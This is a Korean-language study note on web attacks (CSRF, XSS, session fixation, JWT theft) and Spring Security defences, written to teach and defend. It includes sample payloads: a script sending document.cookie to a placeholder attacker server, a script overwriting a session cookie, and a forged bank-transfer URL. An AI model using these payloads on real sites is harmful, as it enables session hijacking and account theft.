CSRF (Cross-Site Request Forgery, 사이트 간 요청 위조)
어떤 공격인가?
사용자가 자신의 의지와 무관하게, 공격자가 의도한 방향 (비밀번호 변경, 송금 등)
으로 특정 웹사이트에 요청하게 만드는 공격이다.
예시
평소에 이용하는 A 은행 사이트에 로그인하여 이체 업무를 보고 있었다.
(로그인 세션이 유지되어 있는 상태)
이때, "아이폰 당첨! 클릭하면 100% 수령" 이라는 광고를 눌러서
무심코 공격자가 만든 가짜 사이트에 접속한다.
가짜 사이트에는 눈에 보이지 않는 아주 작은 버튼(또는 자동 실행 스크립트)이 숨겨져 있는데 이 버튼의 기능은
A 은행/transfer?to=공격자&amount=100만원 이라는 요청을 보내는 것이다.
내 브라우저는 A 은행의 로그인 쿠키를 이미 가지고 있기에,
브라우저는 이 요청이 정상적인 것으로 판단하고, 공격자에게 돈을 송금한다.
가능한 이유: 브라우저는 특정 사이트에 요청을 보낼 때,
해당 사이트의 쿠키(세션 정보 포함)를 자동으로 함께 보낸다.
서버는 "쿠키가 있네? 음.. 정상적인 사용자의 요청이구나" 라고, 믿어버린다.
대응 전략
CSRF 토큰 사용: 서버는 요청마다 임의의 난수(Token)를
생성하여 클라이언트에 전달한다.
이후에 클라이언트가 상태 변경 (POST, PUT 등)을 보낼 때
이 토큰을 함께 보내야만 서버가 수락한다.
공격자는 이 난수값을 알 수 없으므로 위조 요청이 불가능해진다.
SameSite 쿠키 설정: 쿠키 설정에 SameSite=Strict 또는 Lax를 추가하여,
다른 사이트에서 발생하는 요청에는 쿠키가 전송되지 않도록
브라우저 수준에서 차단한다.
XSS (Cross-Site Scripting, 교차 사이트 스크립팅)
어떤 공격인가?
공격자가 악성 스크립트(<script>...</script>)를 웹 페이지에 삽입하여,
다른 사용자의 브라우저에서 해당 스크립트가 실행되게 하는 공격이다.
예시
공격자가 유명한 맛집 커뮤니티 게시판에
"이 집 빵이 엄청 맛있습니다!" 라는 글을 올린다.
이때 글 내용에 보이지 않게
<script>fetch('공격자서버?cookie=' + document.cookie)</script>
라는 코드를 심어둔다.
일반 사용자(피해자)들이 이 게시글을 읽는 순간,
브라우저는 본문 속의 코드를 실행하게 된다.
결과적으로 사용자의 "로그인 세션 정보(쿠키)"가 공격자의
서버로 즉시 전송되고, 공격자는 이 정보를 이용해
사용자의 계정으로 로그인 하여 정보를 탈취한다.
가능한 이유: 브라우저는 HTML 내부에 포함된 자바스크립트를
신뢰할 수 있는 코드로 판단하고, 무조건 실행하기 때문에
이를 통해 세션 쿠키를 탈취하거나 페이지를 변조한다.
대응 전략
입력값 필터링 및 출력 이스케이프 (HtmlUtils): 사용자 입력을 받을 때
위험한 태그를 제거하고, 화면에 출력할 때는 <를 <로 변환(Escape)하여 브라우저가 이를 코드가 아닌 단순 문자로 인식하게 한다.
HttpOnly 쿠키: 세션 쿠키 설정 시 HttpOnly 옵션을 true로 주면,
자바스크립트(document.cookie)로는 쿠키에 접근할 수 없게 되어
XSS를 통한 세션 탈취를 방지할 수 있다.
CSP (Content Security Policy): 서버가 브라우저에게 "이 사이트에서는 우리가 지정한 출처의 스크립트만 실행해"라고 명령하는 보안 헤더를 설정한다.
세션 고정 (Session Fixation)
어떤 공격인가?
공격자는 어떻게 세션을 사용자에게 심는가?
공격자가 브라우저로 타겟 사이트(discodeit.com)에 접속한다.
대부분의 웹 서버는 사용자가 로그인하지 않더라도,
접속한 사용자 식별을 위해 즉시 JSESSIONID 같은 세션 ID를 발급한다.
(바구니만 먼저 주는 격이다.)
공격자는 자신의 브라우저 쿠키에 저장된 세션 ID(예: ABC123)를 메모해 둔다.
이때 이 세션은 아직 '비 로그인 상태'이다.
이제 공격자는 자신이 가지고 있는 ABC123이라는 세션 ID를
사용자(피해자)가 사용하도록 강제해야 한다.
방법 A (URL 파라미터): 서버가 세션 ID를 URL로도 받는다면, http://discodeit.com/?jsessionid=ABC123 같은 링크를
피싱 메일로 보낸다.
방법 B (XSS 활용): 게시판에 <script>document.cookie='JSESSIONID=ABC123';</script> 같은 코드를 심어, 사용자가 글을 읽는 순간 쿠키가 공격자의 세션 ID로
덮어쓰여지게 한다.
사용자는 공격자가 보낸 링크나 스크립트를 통해 ABC123이라는
세션 ID를 가진 채로 로그인을 시도한다.
서버는 "ABC123 세션을 가진 사용자가 아이디 / 비번 맞게 입력했네?
이제 이 ABC123 세션은 로그인이 완료된 세션이야."라고 권한을 부여한다.
공격자는 이미 ABC123 이라는 세션 ID를 알고 있기 때문에
공격자가 ABC123이 담긴 쿠키를 들고, 서버에 요청을 보내면
서버는 이를 방금 로그인 완료된 사용자라고 착각하고 통과 시켜 준다.
예시
공격자가 쇼핑몰 사이트에 접속하여 SessionID=HACKER123이라는
세션 번호를 미리 발급받는다.
공격자는 사용자 A 한테 "이 상품 90% 할인 중입니다."라며 링크를 보낸다.
(http://shopping.com/login?jsessionid=HACKER123)
사용자 A가 링크를 타고 들어가서 로그인을 완료한다.
서버가 "HACKER123 이 세션은 이제 사용자 A의 것이구나" 라고,
인증을 완료해주는 순간, 공격자는 자신이 이미 알고 있던
HACKER123 세션 ID를 이용해 사용자 A의 장바구니와
결제 정보에 접근하여 개인정보를 탈취한다.
가능한 이유: 로그인 전후에 세션 ID가 변하지 않는 취약점을 이용한다.
로그인 전과 후의 세션 ID가 동일하기 때문이다.
대응 전략
// Spring Security 설정 예시
http.sessionManagement()
.sessionFixation().migrateSession(); // 혹은 newSession()
migrateSession()은 기존 세션의 데이터는 유지하면서 ID만 바꾸는 방식이고, newSession()은 아예 새롭게 시작하는 방식이다.JWT 탈취
어떤 공격인가?
Stateless한 인증 방식인 JWT(JSON Web Token)를 공격자가 어떤 방식으로든 가로채서(XSS, 네트워크 스니핑 등) 사용자처럼 행동하는 위협이다.
예시
사용자 A가 카페에 있는 공용 노트북으로
개발자 커뮤니티에 로그인 했고,
해당 사이트는 JWT를 localStorage에 저장하는 방식을 사용한다.
로그인 후 주어진 일들을 마무리 한 뒤 브라우저를 닫았지만,
까먹고 로그아웃은 누르지 않았다.
다음에 그 노트북을 사용한 사람이 개발자 도구(F12)를 열어
localStorage를 확인하거나, 해당 사이트에 숨겨진
악성 광고 스크립트(XSS 등)가 실행된다.
공격자는 localStorage에 저장된 긴 문자열(JWT)를 복사해서
자신의 개인 노트북 브라우저에 붙여넣는다.
이제 공격자는 토큰이 만료될 때까지 사용자 A의 권한을
마음대로 휘두르게 된다.
가능한 이유: 세션은 서버에서 강제로 만료시킬 수 있지만,
순수 JWT는 서버의 통제를 벗어나 있기에
한 번 유출되면 만료 시간까지 공격자에게 무방비로 노출된다.
대응 전략
Access Token 주기 단축 & Refresh Token 사용: Access Token의 수명을
매우 짧게(예: 30분) 설정하고, 대신 이를 갱신할 수 있는
Refresh Token을 별도로 관리한다.
Refresh Token Rotation (RTR): Refresh Token을 사용하여 새로운 Access Token을 발급받을 때, Refresh Token 자체도 새것으로 교체한다.
만약 누군가 훔친 토큰을 사용하려 하면,
이미 사용된 토큰임을 감지하고 전체 세션을 무효화할 수 있다.
안전한 저장소 선택: JWT를 브라우저의
localStorage에 저장하면 XSS에 취약하다.
가급적 HttpOnly, Secure 옵션이 적용된 쿠키에 저장하는 것이
논리적으로 더 견고하다.
| 공격 유형 | 핵심 원인 | Spring Security / 일반적 대응 |
|---|---|---|
| CSRF | 브라우저의 자동 쿠키 전송 | CSRF 토큰 검증, SameSite 설정 |
| XSS | 악성 스크립트가 실행됨 | 출력 이스케이프, HttpOnly 쿠키, CSP |
| 세션 고정 | 로그인 전후 동일 세션 ID 사용 | 로그인 시 세션 ID 재발급 (migrateSession) |
| JWT 탈취 | 토큰 유출 시 서버 통제 불가 | 짧은 만료 시간, RTR, HttpOnly 쿠키 저장 |